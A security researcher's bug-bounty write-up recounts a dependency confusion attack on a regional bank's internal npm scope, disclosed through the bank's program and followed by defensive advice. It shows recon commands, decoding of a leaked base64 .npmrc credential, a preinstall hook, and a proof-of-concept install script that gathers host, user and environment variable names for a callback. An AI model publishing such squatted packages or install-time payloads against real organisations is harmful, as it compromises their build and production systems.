Reported through the bank’s bug bounty program, triaged as critical, marked valid and rewarded. Every name, host and package in this post is a placeholder, so the commands here won’t reproduce against the real target.
I never sent a payload to the bank.
I uploaded a file to a public website, went to make coffee, and by the time I came back I had code execution on their build server, root on production containers in three different clouds, and a shell on some poor developer’s Windows laptop.
It’s a well known bank in the region, and they installed my code themselves. That’s the part I still think about.
The attack is called dependency confusion, and the whole thing came down to a name nobody had registered.
How dependency confusion works
Back in 2021 Alex Birsan published Dependency Confusion, still one of my favorite pieces of research ever written. He used it to get code running inside Apple, Microsoft, PayPal, Netflix and around thirty other companies, and collected more than $130,000. It rattled the industry enough that Microsoft published guidance on how not to get hit by it.
The idea is stupidly simple, and you don’t need to write code to follow it.
Companies build their own internal libraries. Those libraries live on a private server that nobody outside the company can reach, so everyone treats them as a secret. But the name of the library isn’t a secret at all. It shows up in public code, in the JavaScript your website ships to every visitor, in Dockerfiles, in Stack Overflow questions.
Here’s the part that breaks people’s brains the first time: if nobody has registered that name on the public registry, anyone in the world can register it. And package managers do not know the difference between “the company’s private library” and “some stranger’s library with the same name”.
Say a company uses an internal library called @acme/ui-kit. They tell npm where to find it in a small config file called .npmrc:
@acme:registry=https://nexus.acme.internal/repositories/components/
registry=https://registry.npmjs.org/
Which reads as “anything starting with @acme comes from our own server, everything else comes from public npm”.
Now imagine that first line goes missing. Somebody clones a repo without it, or runs a build on a fresh machine, or uses a proxy that quietly falls back to the internet when it can’t find a package. npm goes looking for @acme/ui-kit in the only other place it knows, the public registry.
And once npm is looking there, it installs the highest version it can find. Their internal one is 4.6.1, so if a stranger publishes 4.6.2, or 999.0.0, the stranger wins. Not by exploiting anything, just by counting higher.
One more detail turns this from awkward into critical. npm lets a package run commands the moment it gets installed:
{ "scripts": { "preinstall": "node cb.js" } }
That runs at install time, long before anyone imports the library or reads a line of it. If the install finishes, a stranger already ran commands on that machine.
How I found it
This is the boring, repeatable part, and it’s most of the work.
Full disclosure on how it actually ran: I didn’t type these commands one by one. I’ve spent the last few months building an agent that does this sweep for me across every target I’m working on, and this scope name fell out of one of its recon runs. Nothing it did here is magic though, and everything below works exactly the same typed into a terminal, which is why I’m writing it that way.
Start with the JavaScript. Every site hands you its frontend. I pull all of it and grep for internal names, in this case scoped package names:
$ cat js/*.js | grep -oE '@[a-z0-9-]+/[a-z0-9-]+' | sort -u
@babel/runtime
@fortawesome/free-solid-svg-icons
@design-system-bank/web <-- not on public npm
The first two are public libraries anyone can install. The third one isn’t. That’s a private package name, shipped to every visitor inside a 2.3 MB bundle, which tells me the company has a private registry somewhere and an internal design system.
Then go find where developers leaked it. Contractors and template repos are where this stuff falls out. I search GitHub for the pieces I now know, one at a time:
"@design-system-bank" the scope name
"nexus.bank.internal" their internal registry hostname
"_auth" path:.npmrc bank credentials in config files
Twenty minutes later I’m looking at a public repo from what seems to be a contractor, a “frontend archetype” template project, and sitting in its root there’s an .npmrc:

Three gifts in one file. The internal scope name, confirmed. The internal registry, which doesn’t resolve from the internet, which is exactly why somebody felt safe hardcoding things next to it. And an _auth line, which is not encryption, just base64 of a username and password:
$ echo "YmFua2RldjpodW50ZXIy" | base64 -d
bankdev:hunter2
The package.json beside it even told me which version range their builds accept:
{ "dependencies": { "@design-system-bank/web": "^4.6.1" } }
Then the only question that matters: had anyone registered that name publicly?
$ npm view @design-system-bank/web
npm error 404 Not found
Nothing there. Their design system existed in exactly one place in the world, on their own server, and its name was sitting unclaimed on the biggest package registry on the planet.

So it became mine.
Publishing something I could defend
A package like this lands on machines you can’t see, and some of them are production servers at a bank. So the payload does exactly one job: prove that code ran, and nothing else.
// cb.js, runs on install
const data = JSON.stringify({
p: "design-system-bank-web", // which package fired
h: os.hostname(), // which machine
d: __dirname, // where it landed
id: run("id"), // which user am I
uname: run("uname -a"), // what kind of box
env_keys: Object.keys(process.env).join(",") // names, never values
});
That last line is the one I’d defend in front of anybody. I collect the names of the environment variables, never their contents. Knowing that a machine has a variable called AWS_SECRET_ACCESS_KEY proves how much damage was possible. Reading its value would mean walking off with the bank’s actual keys, which I have zero interest in doing.
It never opens a reverse shell, gives me anything interactive, or touches their credentials. If id comes back as root, the report writes itself.
That’s the real payload, minus the boilerplate that sends it. On the Windows laptop id and uname simply failed and came back as n/a, which was fine, the hostname and the install path were enough to place the machine.
Then the whole exploit, one command:
$ npm publish --access public
+ @design-system-bank/[email protected]

I bumped it a few times over the next half hour while tightening the payload, ending at 999.0.4. The shot above catches it mid-way at 999.0.2; the download stats further down show the final one.
Nothing dramatic happens next, and that’s the scary part. Somewhere a build starts, npm goes shopping, my copy wins because of a bigger number, and their own pipeline runs my code before a human sees any of it.

Why their npm asked the public registry at all
Worth being precise here, because it’s the part people usually hand-wave. npm doesn’t shop around between registries. With @design-system-bank:registry= in place it asks the internal Nexus for that scope and nothing else. It never compares a private 4.6.1 against a public 999.0.0 and picks the bigger one.
So for my copy to win, something had to break that rule first. Either the build ran without that config (a fresh runner, a container image that never copied the .npmrc, a docker build that skipped it), or their internal registry is a proxy that quietly upstreams to npmjs and handed my version over itself.
I can’t tell you which one happened on each machine, since all I get to see is that the install completed. The paths lean towards the first: /tmp/pkg, /var/tmp, D:\TRANSFER\{GUID}\, all throwaway directories on machines that had just been handed a package.json and told to install it.
Then my terminal started talking
I figured I’d get a hit in a day or two, maybe never. The first one landed in under three minutes, from an IP that wasn’t mine.
Then they kept coming.


Six of those machines belonged to the bank. Two others were automated malware scanners, and one of them politely introduced itself:
20.73.x.x - - [13/May/2026 03:14:01] "GET /dep-confusion HTTP/1.1" 200
user-agent: sr-malware-detection
Counting robots as victims is how writeups get torn apart, so they don’t count.
Four of the six were running as root, which means my code had full control inside those containers. The most interesting one wasn’t even root though. It was their build server, running as a normal user that happened to sit in the sudo and docker groups, and what mattered there was the list of credential names in its environment:
AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET,
GOOGLE_APPLICATION_CREDENTIALS, GITHUB_TOKEN, NPM_TOKEN,
KUBECONFIG, JENKINS_URL, GITLAB_CI, CARGO_REGISTRY_TOKEN
In plain terms: one machine, one stranger’s package, and credentials for three cloud providers, GitHub, npm and Kubernetes were all within reach of whatever ran there. I only ever saw the variable names, so I can’t tell you what those keys were still good for, and that’s the bank’s job to work out, not mine.

Another callback came from a container running in production:
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI, DYNAMO_TABLE, ECS_AGENT_URI
That first variable is how a container asks Amazon for its own access keys. Anyone with code running there can ask the same question, which would make them the production service, with whatever access it has to the database named in the second variable. At a bank.
And it kept getting downloaded after I stopped watching: 336 in the week of May 17. Most of that is mirrors and scanners rather than the bank, which is its own lesson. Once a squatted name exists the ecosystem keeps pulling it, and it would keep serving whatever the owner puts inside.

Total cost of the attack: one npm publish. There was nothing to exploit here, I registered a name that was sitting there and their own pipeline did the rest.
Aftermath
The report went in with the callback log, the leaked .npmrc and a short explanation of why npm preferred my copy over theirs. The program answered the next day and the details are below.
- May 8, 2026 - Leaked
.npmrcfound in a public repo - May 12, 2026 - Scope registered,
999.0.0published, report submitted the same night - May 13, 2026 - Callbacks from six of their machines, triaged critical
- May 20, 2026 - Marked valid, $X,000 USD bounty awarded
- June 20, 2026 - Verified the issue is no longer reproducible
If you ship internal packages
Register your scopes on public npm today, even as empty placeholder packages published from a company account. It’s free and it takes the whole attack off the table.
The rest is housekeeping. Make the private registry the authority instead of a fallback, so a missing internal package breaks the build rather than quietly arriving from the internet. Add --ignore-scripts to your CI installs, stop building as root, and count how many credentials live on that one build machine. Then go read your contractors’ public repos, because that’s where this one started.
Worth reading next: Birsan’s original writeup, Microsoft’s package feed guidance and the npmrc docs.
Until the next one, stay curious, stay ethical.
